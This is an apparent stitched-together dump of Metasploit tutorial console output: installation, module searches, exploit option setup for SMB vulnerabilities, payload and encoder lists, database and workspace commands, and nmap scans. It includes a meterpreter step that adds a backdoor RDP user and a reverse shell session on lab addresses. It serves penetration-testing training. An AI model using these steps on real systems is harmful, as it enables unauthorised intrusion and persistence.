meterpreter > run getgui -h
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u  -p 
Or:    getgui -e

OPTIONS:

    -e   Enable RDP only.
    -f   Forward RDP Connection.
    -h   Help menu.
    -l   The language switch
         Possible Options: 'de_DE', 'en_EN' / default is: 'en_EN'
    -p   The Password of the user

meterpreter > run getgui -u loneferret -p password
> Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
> Carlos Perez carlos_perez@darkoperator.com
> Language detection started
>   Language detected: en_US
> Setting user account for logon
>   Adding User: loneferret with Password: password
>   Adding User: loneferret to local group ''
>   Adding User: loneferret to local group ''
> You can now login with the created user
> For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc
meterpreter >

root@kali:~#: rdesktop -u loneferret -p password 192.168.101.108

meterpreter > run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc
> Running Command List ...
>   Running command execute -H -f cmd.exe -a "/c net user hacker /delete"
Process 288 created.
meterpreter >

sudo apt-get update && sudo apt-get dist-upgrade -y
reboot

cd
sudo su
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5394  100  5394    0     0   9248      0 --:--:-- --:--:-- --:--:--  9252
Updating package cache..OK
Checking **for **and installing update..
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following NEW packages will be installed:
  metasploit-framework
0 upgraded, 1 newly installed, 0 to remove and 1 not upgraded.
Need to get 176 MB of archives.
After this operation, 431 MB of additional disk space will be used.
Get:1 <a href="http://downloads.metasploit.com/data/...[176">http://downloads.metasploit.com/data/...[176</a> MB]

umut-X550JX umut # exit
umut@umut-X550JX ~ $

user@mint ~ $ msfconsole

  ****** Welcome to Metasploit Framework Initial Setup ******

     Please answer a few questions to get started.

 Would you like to use and setup a new database **(**recommended**)**? yes

 Creating database at /home/user/.msf4/db

 Starting database at /home/user/.msf4/db

 Creating database users

 Creating initial database schema

  ****** Metasploit Framework Initial Setup Complete ******

                                                  
     ,           ,
    /             \
   **((**__---,,,---__**))**
      **(**_**)** O O **(**_**)**_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *****
                **||**|   WW|||
                **||**|     **||**|


       **=[** metasploit v4.14.17-dev-                        **]**
+ -- --**=[** 1647 exploits - 945 auxiliary - 291 post        **]**
+ -- --**=[** 486 payloads - 40 encoders - 9 nops             **]**
+ -- --**=[** Free Metasploit Pro trial: <a href="http://r-7.co/trymsp">http://r-7.co/trymsp</a> **]**

msf > 

msf > msfdb status
> exec: msfdb status

Database started at /home/umut/.msf4/db
msf > 

msf > search samba

Matching Modules
**================**

   Name                                            Disclosure Date  Rank       Description
   ----                                            ---------------  ----       -----------
   auxiliary/admin/smb/samba_symlink_traversal                      normal     Samba Symlink Directory Traversal
   auxiliary/dos/samba/lsa_addprivs_heap                            normal     Samba lsa_io_privilege_set Heap Overflow
   auxiliary/dos/samba/lsa_transnames_heap                          normal     Samba lsa_io_trans_names Heap Overflow
   auxiliary/dos/samba/read_nttrans_ea_list                         normal     Samba read_nttrans_ea_list Integer Overflow
   auxiliary/scanner/rsync/modules_list                             normal     List Rsync Modules
   auxiliary/scanner/smb/smb_uninit_cred                            normal     Samba _netr_ServerPasswordSet Uninitialized Credential State
   exploit/freebsd/samba/trans2open                2003-04-07       great      Samba trans2open Overflow **(*******BSD x86**)**
   exploit/linux/samba/chain_reply                 2010-06-16       good       Samba chain_reply Memory Corruption **(**Linux x86**)**
   exploit/linux/samba/lsa_transnames_heap         2007-05-14       good       Samba lsa_io_trans_names Heap Overflow
   exploit/linux/samba/setinfopolicy_heap          2012-04-10       normal     Samba SetInformationPolicy AuditEventsInfo Heap Overflow
   exploit/linux/samba/trans2open                  2003-04-07       great      Samba trans2open Overflow **(**Linux x86**)**
   exploit/multi/samba/nttrans                     2003-04-07       average    Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
   exploit/multi/samba/usermap_script              2007-05-14       excellent  Samba "username map script" Command Execution
   exploit/osx/samba/lsa_transnames_heap           2007-05-14       average    Samba lsa_io_trans_names Heap Overflow
   exploit/osx/samba/trans2open                    2003-04-07       great      Samba trans2open Overflow **(**Mac OS X PPC**)**
   exploit/solaris/samba/lsa_transnames_heap       2007-05-14       average    Samba lsa_io_trans_names Heap Overflow
   exploit/solaris/samba/trans2open                2003-04-07       great      Samba trans2open Overflow **(**Solaris SPARC**)**
   exploit/unix/misc/distcc_exec                   2002-02-01       excellent  DistCC Daemon Command Execution
   exploit/unix/webapp/citrix_access_gateway_exec  2010-12-21       excellent  Citrix Access Gateway Command Execution
   exploit/windows/fileformat/ms14_060_sandworm    2014-10-14       excellent  MS14-060 Microsoft Windows OLE Package Manager Code Execution
   exploit/windows/http/sambar6_search_results     2003-06-21       normal     Sambar 6 Search Results Buffer Overflow
   exploit/windows/license/calicclnt_getconfig     2005-03-02       average    Computer Associates License Client GETCONFIG Overflow
   exploit/windows/smb/group_policy_startup        2015-01-26       manual     Group Policy Script Execution From Shared Resource
   post/linux/gather/enum_configs                                   normal     Linux Gather Configurations

umut@umut-X550JX /opt/metasploit-framework/embedded/framework/modules $ ls -l
total 24
drwxr-xr-x 20 root root 4096 May 10 14:46 auxiliary
drwxr-xr-x 11 root root 4096 May 10 14:46 encoders
drwxr-xr-x 19 root root 4096 May 10 14:46 exploits
drwxr-xr-x 10 root root 4096 May 10 14:46 nops
drwxr-xr-x  5 root root 4096 May 10 14:46 payloads
drwxr-xr-x 12 root root 4096 May 10 14:46 post

umut@umut-X550JX ~ $ msfconsole -m ~/.msf4/modules/
Found a database at /home/umut/.msf4/db, checking to see **if **it is started
Starting database at /home/umut/.msf4/db...success
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

                        Press SPACE BAR to **continue**



       **=[** metasploit v4.14.17-dev-                        **]**
+ -- --**=[** 1648 exploits - 946 auxiliary - 291 post        **]**
+ -- --**=[** 486 payloads - 40 encoders - 9 nops             **]**
+ -- --**=[** Free Metasploit Pro trial: <a href="http://r-7.co/trymsp">http://r-7.co/trymsp</a> **]**

msf > 

msf > loadpath /home/umut/.msf4/modules
Loaded 0 modules:
msf > 

msf auxiliary**(**ms09_001_write**)** > back
msf >

msf > banner
 _                                                    _
/     /         __                         _   __  /_/ __
| |  / | _____               ___   _____ | | /   _    
| | /| | | ___ |- -|   /    / __ | -__/ | **||** | **||** | |- -|
|_|   | | | _|__  | |_  / - __    | |    | | __/| |  | |_
      |/  |____/  ___/ / \___/   /     __|    |_  ___

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- type 'go_pro' to launch it now.

       **=[** metasploit v4.11.4-2015071402                   **]**
+ -- --**=[** 1467 exploits - 840 auxiliary - 232 post        **]**
+ -- --**=[** 432 payloads - 37 encoders - 8 nops             **]**

msf exploit**(**ms08_067_netapi**)** > show options

Module options **(**exploit/windows/smb/ms08_067_netapi**)**:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    172.16.194.134   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use **(**BROWSER, SRVSVC**)**

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit**(**ms08_067_netapi**)** > check

> Verifying vulnerable status... **(**path: 0x0000005a**)**
> System is not vulnerable **(**status: 0x00000000**)**
> The target is not exploitable.
msf  exploit**(**ms08_067_netapi**)** >

msf > color
Usage: color >'true'|'false'|'auto'>

Enable or disable color output.

msf > connect 192.168.1.1 23
> Connected to 192.168.1.1:23
DD-WRT v24 std **(**c**)** 2008 NewMedia-NET GmbH
Release: 07/27/08 **(**SVN revision: 10011**)**
DD-WRT login:

msf > connect -h
Usage: connect **[**options]  

Communicate with a host, similar to interacting via netcat, taking advantage of
any configured session pivoting.

OPTIONS:

    -C        Try to use CRLF **for **EOL sequence.
    -P <opt>  Specify source port.
    -S <opt>  Specify source address.
    -c <opt>  Specify which Comm to use.
    -h        Help banner.
    -i <opt>  Send the contents of a file.
    -p <opt>  List of proxies to use.
    -s        Connect with SSL.
    -u        Switch to a UDP socket.
    -w <opt>  Specify connect timeout.
    -z        Just try to connect, **then return**.

msf >

msf exploit**(**ms10_061_spoolss**)** > edit
> Launching /usr/bin/vim /usr/share/metasploit-framework/modules/exploits/windows/smb/ms10_061_spoolss.rb

require 'msf/core'
require 'msf/windows_error'

class Metasploit3 > Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info = {})

msf exploit**(**ms10_061_spoolss**)** > exit
root@kali:~#

msf > help

Core Commands
**=============**

    Command       Description
    -------       -----------
    ?             Help menu
    back          Move back from the current context
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
...snip...

Database Backend Commands
**=========================**

    Command           Description
    -------           -----------
    creds             List all credentials **in **the database
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file **(**filetype will be auto-detected**)**
...snip...

msf  exploit**(**ms09_050_smb2_negotiate_func_index**)** > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index 

       Name: Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
     Module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index
    Version: 14774
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License **(**BSD**)**
       Rank: Good

Provided by:
  Laurent Gaffie <laurent.gaffie@gmail.com>
  hdm <hdm@metasploit.com>
  sf <stephen_fewer@harmonysecurity.com>

Available targets:
  Id  Name
  --  ----
  0   Windows Vista SP1/SP2 and Server 2008 **(**x86**)**

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  RHOST                   yes       The target address
  RPORT  445              yes       The target port
  WAIT   180              yes       The number of seconds to wait **for **the attack to complete.

Payload information:
  Space: 1024

Description:
  This module exploits an out of bounds **function **table dereference **in 
  **the SMB request validation code of the SRV2.SYS driver included with 
  Windows Vista, Windows 7 release candidates **(**not RTM**)**, and Windows 
  2008 Server prior to R2. Windows Vista without SP1 does not seem 
  affected by this flaw.

References:
  <a href="http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx">http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx</a>
  <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name">http://cve.mitre.org/cgi-bin/cvename.cgi?name</a>**=**2009-3103
  <a href="http://www.securityfocus.com/bid/36299">http://www.securityfocus.com/bid/36299</a>
  <a href="http://www.osvdb.org/57799">http://www.osvdb.org/57799</a>
  <a href="http://seclists.org/fulldisclosure/2009/Sep/0039.html">http://seclists.org/fulldisclosure/2009/Sep/0039.html</a>
  <a href="http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx">http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx</a>

msf  exploit**(**ms09_050_smb2_negotiate_func_index**)** >

msf > irb
> Starting IRB shell...

**>>** puts "Hello, metasploit!"
Hello, metasploit!
**=>** nil
**>>** Framework::Version
**=>** "4.8.2-2014022601"

msf > jobs -h
Usage: jobs **[**options]

Active job manipulation and interaction.

OPTIONS:

    -K        Terminate all running jobs.
    -h        Help banner.
    -i <opt>  Lists detailed information about a running job.
    -k <opt>  Terminate the specified job name.
    -l        List all running jobs.
    -v        Print more detailed info.  Use with -i and -l

msf >

msf exploit**(**ms10_002_aurora**)** > kill 0
Stopping job: 0...

> Server stopped.

msf > load
Usage: load <path> [var=val var=val ...]

msf > load pcap_log
> PcapLog plugin loaded.
> Successfully loaded plugin: pcap_log

msf > loadpath /home/secret/modules

Loaded 0 modules.

msf > unload pcap_log
Unloading plugin pcap_log...unloaded.

msf > resource
Usage: resource path1 **[**path2 ...]

msf > resource karma.rc
> Processing karma.rc for ERB directives.
resource (karma.rc_.txt)> db_connect postgres:toor@127.0.0.1/msfbook
resource (karma.rc_.txt)>use auxiliary/server/browser_autopwn
...snip...

root@kali:~# echo version > version.rc
root@kali:~# msfconsole -r version.rc

 _                                                    _
/     /         __                         _   __  /_/ __
| |  / | _____               ___   _____ | | /   _    
| | /| | | ___ |- -|   /    / __ | -__/ | **||** | **||** | |- -|
|_|   | | | _|__  | |_  / - __    | |    | | __/| |  | |_
      |/  |____/  ___/ / \___/   /     __|    |_  ___

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- type 'go_pro' to launch it now.

       **=[** metasploit v4.8.2-2014021901 **[**core:4.8 api:1.0] **]**
+ -- --**=[** 1265 exploits - 695 auxiliary - 202 post **]**
+ -- --**=[** 330 payloads - 32 encoders - 8 nops      **]**

> Processing version.rc **for **ERB directives.
resource **(**version.rc**)>** version
Framework: 4.8.2-2014022601
Console  : 4.8.2-2014022601.15168
msf >

meterpreter > route -h
Usage: route **[**-h**]** command **[**args]

Supported commands:

   add    **[**subnet] **[**netmask] **[**gateway]
   delete **[**subnet] **[**netmask] **[**gateway]
   list

meterpreter >
meterpreter > route

Network routes
**==============**

    Subnet           Netmask          Gateway
    ------           -------          -------
    0.0.0.0          0.0.0.0          172.16.1.254
    127.0.0.0        255.0.0.0        127.0.0.1
    172.16.1.0       255.255.255.0    172.16.1.100
    172.16.1.100     255.255.255.255  127.0.0.1
    172.16.255.255   255.255.255.255  172.16.1.100
    224.0.0.0        240.0.0.0        172.16.1.100
    255.255.255.255  255.255.255.255  172.16.1.100

msf > search usermap_script

Matching Modules
**================**

   Name                                Disclosure Date  Rank       Description
   ----                                ---------------  ----       -----------
   exploit/multi/samba/usermap_script  2007-05-14       excellent  Samba "username map script" Command Execution

msf >

msf > help search
Usage: search **[**keywords]

Keywords:
  name      :  Modules with a matching descriptive name
  path      :  Modules with a matching path or reference name
  platform  :  Modules affecting this platform
  type      :  Modules of a specific type **(**exploit, auxiliary, or post**)**
  app       :  Modules that are client or server attacks
  author    :  Modules written by this author
  cve       :  Modules with a matching CVE ID
  bid       :  Modules with a matching Bugtraq ID
  osvdb     :  Modules with a matching OSVDB ID

msf >

msf > search name:mysql

Matching Modules
**================**

   Name                                               Disclosure Date  Rank       Description
   ----                                               ---------------  ----       -----------
   auxiliary/admin/mysql/mysql_enum                                    normal     MySQL Enumeration Module
   auxiliary/admin/mysql/mysql_sql                                     normal     MySQL SQL Generic Query
   auxiliary/analyze/jtr_mysql_fast                                    normal     John the Ripper MySQL Password Cracker (Fast Mode)
   auxiliary/scanner/mysql/mysql_authbypass_hashdump  2012-06-09       normal     MySQL Authentication Bypass Password Dump
   auxiliary/scanner/mysql/mysql_hashdump                              normal     MYSQL Password Hashdump
   auxiliary/scanner/mysql/mysql_login                                 normal     MySQL Login Utility
   auxiliary/scanner/mysql/mysql_schemadump                            normal     MYSQL Schema Dump
   auxiliary/scanner/mysql/mysql_version                               normal     MySQL Server Version Enumeration
   exploit/linux/mysql/mysql_yassl_getname            2010-01-25       good       MySQL yaSSL CertDecoder::GetName Buffer Overflow
   exploit/linux/mysql/mysql_yassl_hello              2008-01-04       good       MySQL yaSSL SSL Hello Message Buffer Overflow
   exploit/windows/mysql/mysql_payload                2009-01-16       excellent  Oracle MySQL **for **Microsoft Windows Payload Execution
   exploit/windows/mysql/mysql_yassl_hello            2008-01-04       average    MySQL yaSSL SSL Hello Message Buffer Overflow
msf >

msf > search path:scada

Matching Modules
**================**

   Name                                                 Disclosure Date  Rank     Description
   ----                                                 ---------------  ----     -----------
   auxiliary/admin/scada/igss_exec_17                   2011-03-21       normal   Interactive Graphical SCADA System Remote Command Injection
   exploit/windows/scada/citect_scada_odbc              2008-06-11       normal   CitectSCADA/CitectFacilities ODBC Buffer Overflow
...snip...

msf > search platform:aix

Matching Modules
**================**

   Name                                  Disclosure Date  Rank    Description
   ----                                  ---------------  ----    -----------
   payload/aix/ppc/shell_bind_tcp                         normal  AIX Command Shell, Bind TCP Inline
   payload/aix/ppc/shell_find_port                        normal  AIX Command Shell, Find Port Inline
   payload/aix/ppc/shell_interact                         normal  AIX execve shell **for **inetd
...snip...

msf > search type:exploit

Matching Modules
**================**

   Name                                                Disclosure Date  Rank    Description
   ----                                                ---------------  ----    -----------
   post/linux/gather/checkvm                                            normal  Linux Gather Virtual Environment Detection
   post/linux/gather/enum_cron                                          normal  Linux Cron Job Enumeration
   post/linux/gather/enum_linux                                         normal  Linux Gather System Information
...snip...

msf > search author:dookie

Matching Modules
**================**

   Name                                                       Disclosure Date  Rank     Description
   ----                                                       ---------------  ----     -----------
   exploit/osx/http/evocam_webserver                          2010-06-01       average  MacOS X EvoCam HTTP GET Buffer Overflow
   exploit/osx/misc/ufo_ai                                    2009-10-28       average  UFO: Alien Invasion IRC Client Buffer Overflow Exploit
   exploit/windows/browser/amaya_bdo                          2009-01-28       normal   Amaya Browser v11.0 bdo tag overflow
...snip...

msf > search cve:2011 author:jduck platform:linux

Matching Modules
**================**

   Name                                         Disclosure Date  Rank     Description
   ----                                         ---------------  ----     -----------
   exploit/linux/misc/netsupport_manager_agent  2011-01-08       average  NetSupport Manager Agent Remote Buffer Overflow

msf > sessions -h
Usage: sessions [options]

Active session manipulation and interaction.

OPTIONS:

    -K        Terminate all sessions
    -c <opt>  Run a command on the session given with -i, or all
    -d <opt>  Detach an interactive session
    -h        Help banner
    -i <opt>  Interact with the supplied session ID
    -k <opt>  Terminate session
    -l        List all active sessions
    -q        Quiet mode
    -r        Reset the ring buffer for the session given with -i, or all
    -s <opt>  Run a script on the session given with -i, or all
    -u <opt>  Upgrade a win32 shell to a meterpreter session
    -v        List verbose fields

msf exploit**(**3proxy**)** > sessions -l

Active sessions
**===============**

  Id  Description    Tunnel
  --  -----------    ------
  1   Command shell  192.168.1.101:33191 -> 192.168.1.104:4444
To interact with a given session, you just need to use the ‘-i’ switch followed by the Id number of the session.

msf exploit**(**3proxy**)** > sessions -i 1
> Starting interaction with 1...

C:WINDOWSsystem32>

msf auxiliary**(**ms09_050_smb2_negotiate_func_index**)** > set RHOST 172.16.194.134
RHOST **=>** 172.16.194.134
msf auxiliary**(**ms09_050_smb2_negotiate_func_index**)** > show options

Module options **(**exploit/windows/smb/ms09_050_smb2_negotiate_func_index**)**:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  172.16.194.134   yes       The target address
   RPORT  445              yes       The target port
   WAIT   180              yes       The number of seconds to wait **for **the attack to complete.

Exploit target:

   Id  Name
   --  ----
   0   Windows Vista SP1/SP2 and Server 2008 **(**x86**)**

msf  exploit**(**ms09_050_smb2_negotiate_func_index**)** > show encoders

Compatible Encoders
**===================**

   Name                    Disclosure Date  Rank       Description
   ----                    ---------------  ----       -----------
   generic/none                             normal     The "none" Encoder
   x86/alpha_mixed                          low        Alpha2 Alphanumeric Mixedcase Encoder
   x86/alpha_upper                          low        Alpha2 Alphanumeric Uppercase Encoder
   x86/avoid_utf8_tolower                   manual     Avoid UTF8/tolower
   x86/call4_dword_xor                      normal     Call+4 Dword XOR Encoder
   x86/context_cpuid                        manual     CPUID-based Context Keyed Payload Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha                             low        Non-Alpha Encoder
   x86/nonupper                             low        Non-Upper Encoder
   x86/shikata_ga_nai                       excellent  Polymorphic XOR Additive Feedback Encoder
   x86/single_static_bit                    manual     Single Static Bit
   x86/unicode_mixed                        manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper                        manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

msf > set RHOSTS 192.168.1.0/24
RHOSTS **=>** 192.168.1.0/24
msf > set THREADS 50
THREADS **=>** 50
msf > set

Global
**======**

  Name     Value
  ----     -----
  RHOSTS   192.168.1.0/24
  THREADS  50

msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...
msf > set

Global
**======**

No entries **in **data store.

msf >

msf > setg LHOST 192.168.1.101
LHOST **=>** 192.168.1.101
msf > setg RHOSTS 192.168.1.0/24
RHOSTS **=>** 192.168.1.0/24
msf > setg RHOST 192.168.1.136
RHOST **=>** 192.168.1.136

msf > save
Saved configuration to: /root/.msf4/config
msf >

msf > show

Encoders
**========**

   Name                    Disclosure Date  Rank       Description
   ----                    ---------------  ----       -----------
   cmd/generic_sh                           good       Generic Shell Variable Substitution Command Encoder
   cmd/ifs                                  low        Generic **${**IFS**}** Substitution Command Encoder
   cmd/printf_php_mq                        manual     printf**(**1**)** via PHP magic_quotes Utility Command Encoder
...snip...

msf > show auxiliary
Auxiliary
**=========**

   Name                                                  Disclosure Date  Rank    Description
   ----                                                  ---------------  ----    -----------
   admin/2wire/xslt_password_reset                       2007-08-15       normal  2Wire Cross-Site Request Forgery Password Reset Vulnerability
   admin/backupexec/dump                                                  normal  Veritas Backup Exec Windows Remote File Access
   admin/backupexec/registry                                              normal  Veritas Backup Exec Server Registry Access
...snip...

msf > show exploits

Exploits
**========**

   Name                                                           Disclosure Date  Rank       Description
   ----                                                           ---------------  ----       -----------
   aix/rpc_cmsd_opcode21                                          2009-10-07       great      AIX Calendar Manager Service Daemon **(**rpc.cmsd**)** Opcode 21 Buffer Overflow
   aix/rpc_ttdbserverd_realpath                                   2009-06-17       great      ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow **(**AIX**)**
   bsdi/softcart/mercantec_softcart                               2004-08-19       great      Mercantec SoftCart CGI Overflow
...snip...

msf > show payloads

Payloads
**========**

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
   aix/ppc/shell_bind_tcp                                            normal  AIX Command Shell, Bind TCP Inline
   aix/ppc/shell_find_port                                           normal  AIX Command Shell, Find Port Inline
   aix/ppc/shell_interact                                            normal  AIX execve shell **for **inetd
...snip...

msf  exploit**(**ms08_067_netapi**)** > show payloads

Compatible Payloads
**===================**

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
   generic/custom                                                    normal  Custom Payload
   generic/debug_trap                                                normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                                            normal  Generic Command Shell, Bind TCP Inline
...snip...

msf exploit**(**ms08_067_netapi**)** > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use **(**BROWSER, SRVSVC**)**

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf  exploit**(**ms08_067_netapi**)** > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   10  Windows 2003 SP1 Japanese **(**NO NX**)**
   11  Windows 2003 SP2 English **(**NO NX**)**
   12  Windows 2003 SP2 English **(**NX**)**
...snip...

msf exploit**(**ms08_067_netapi**)** > show advanced

Module advanced options:

   Name           : CHOST
   Current Setting:
   Description    : The local client address

   Name           : CPORT
   Current Setting:
   Description    : The local client port

...snip...

msf > show encoders
Compatible Encoders
**===================**

   Name                    Disclosure Date  Rank       Description
   ----                    ---------------  ----       -----------
   cmd/generic_sh                           good       Generic Shell Variable Substitution Command Encoder
   cmd/ifs                                  low        Generic **${**IFS**}** Substitution Command Encoder
   cmd/printf_php_mq                        manual     printf**(**1**)** via PHP magic_quotes Utility Command Encoder
   generic/none                             normal     The "none" Encoder
   mipsbe/longxor                           normal     XOR Encoder
   mipsle/longxor                           normal     XOR Encoder
   php/base64                               great      PHP Base64 encoder
   ppc/longxor                              normal     PPC LongXOR Encoder
   ppc/longxor_tag                          normal     PPC LongXOR Encoder
   sparc/longxor_tag                        normal     SPARC DWORD XOR Encoder
   x64/xor                                  normal     XOR Encoder
   x86/alpha_mixed                          low        Alpha2 Alphanumeric Mixedcase Encoder
   x86/alpha_upper                          low        Alpha2 Alphanumeric Uppercase Encoder
   x86/avoid_utf8_tolower                   manual     Avoid UTF8/tolower
   x86/call4_dword_xor                      normal     Call+4 Dword XOR Encoder
   x86/context_cpuid                        manual     CPUID-based Context Keyed Payload Encoder
   x86/context_stat                         manual     stat**(**2**)**-based Context Keyed Payload Encoder
   x86/context_time                         manual     time**(**2**)**-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha                             low        Non-Alpha Encoder
   x86/nonupper                             low        Non-Upper Encoder
   x86/shikata_ga_nai                       excellent  Polymorphic XOR Additive Feedback Encoder
   x86/single_static_bit                    manual     Single Static Bit
   x86/unicode_mixed                        manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper                        manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

msf > show nops
NOP Generators
**==============**

   Name             Disclosure Date  Rank    Description
   ----             ---------------  ----    -----------
   armle/simple                      normal  Simple
   php/generic                       normal  PHP Nop Generator
   ppc/simple                        normal  Simple
   sparc/random                      normal  SPARC NOP generator
   tty/generic                       normal  TTY Nop Generator
   x64/simple                        normal  Simple
   x86/opty2                         normal  Opty2
   x86/single_byte                   normal  Single Byte

msf > use dos/windows/smb/ms09_001_write
msf auxiliary**(**ms09_001_write**)** > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  445              yes       Set the SMB service port

msf auxiliary**(**ms09_001_write**)** >

"Failed to connect to the database: could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432?"

service postgresql start

ss -lntp | grep post

LISTEN     0      128    127.0.0.1:5433                     *****:*****                   users:**((**"postgres",pid**=**2732,fd**=**6**))**
LISTEN     0      128        ::1:5433                    :::*****                   users:**((**"postgres",pid**=**2732,fd**=**3**))**

grep "port =" /etc/postgresql/9.6/main/postgresql.conf

port = 5433                # (change requires restart)

sed -i 's/\(port = \)5433/\15432/' /etc/postgresql/9.6/main/postgresql.conf

service postgresql restart
msfdb reinit```

root@kali:~# systemctl start postgresql

root@kali:~# msfdb init
Creating database user 'msf'
Enter password **for **new role: 
Enter it again: 
Creating databases 'msf' and 'msf_test'
Creating configuration file **in** /usr/share/metasploit-framework/config/database.yml
Creating initial database schema

msf > db_status 
> postgresql connected to msf

msf > workspace
* default
msfu
lab1
lab2
lab3
lab4
msf >

msf > workspace -a lab4
> Added workspace: lab4
msf > 

msf > workspace -d lab4 
> Deleted workspace: lab4
msf > workspace

msf > workspace msfu
> Workspace: msfu
msf > workspace
default
* msfu
lab1
lab2
lab3
lab4
msf >

msf > workspace -h
Usage:
    workspace                  List workspaces
    workspace -v               List workspaces verbosely
    workspace **[**name]           Switch workspace
    workspace -a **[**name] ...    Add workspace**(**s**)**
    workspace -d **[**name] ...    Delete workspace**(**s**)**
    workspace -D               Delete all workspaces
    workspace -r     Rename workspace
    workspace -h               Show this help information

msf > 

msf > help
...snip...

Database Backend Commands
=========================

    Command           Description
    -------           -----------
    creds             List all credentials **in **the database
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file **(**filetype will be auto-detected**)**
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts **in **the database
    loot              List all loot **in **the database
    notes             List all notes **in **the database
    services          List all services **in **the database
    vulns             List all vulnerabilities **in **the database
    workspace         Switch between database workspaces

msf >  db_import /root/msfu/nmapScan 
> Importing 'Nmap XML' data
> Import: Parsing with 'Rex::Parser::NmapXMLStreamParser'
> Importing host 172.16.194.172
> Successfully imported /root/msfu/nmapScan
msf > hosts

Hosts
**=====**

address         mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------  ---------  -----  -------  ----  --------
172.16.194.172  00:0C:29:D1:62:80        Linux    Ubuntu            server         

msf > 

msf > db_nmap -A 172.16.194.134
> Nmap: Starting Nmap 5.51SVN **(** <a href="http://nmap.org/">http://nmap.org</a> **)** at 2012-06-18 12:36 EDT
> Nmap: Nmap scan report **for **172.16.194.134
> Nmap: Host is up **(**0.00031s latency**)**.
> Nmap: Not shown: 994 closed ports
> Nmap: PORT     STATE SERVICE      VERSION
> Nmap: 80/tcp   open  http         Apache httpd 2.2.17 **((**Win32**)** mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 

...snip...

> Nmap: HOP RTT     ADDRESS
> Nmap: 1   0.31 ms 172.16.194.134
> Nmap: OS and Service detection performed. Please report any incorrect results at <a href="http://nmap.org/submit/">http://nmap.org/submit/</a> .
> Nmap: Nmap **done**: 1 IP address **(**1 host up**)** scanned **in **14.91 seconds
msf >


msf > hosts

Hosts
**=====**

address         mac                name  os_name            os_flavor  os_sp  purpose  info  comments
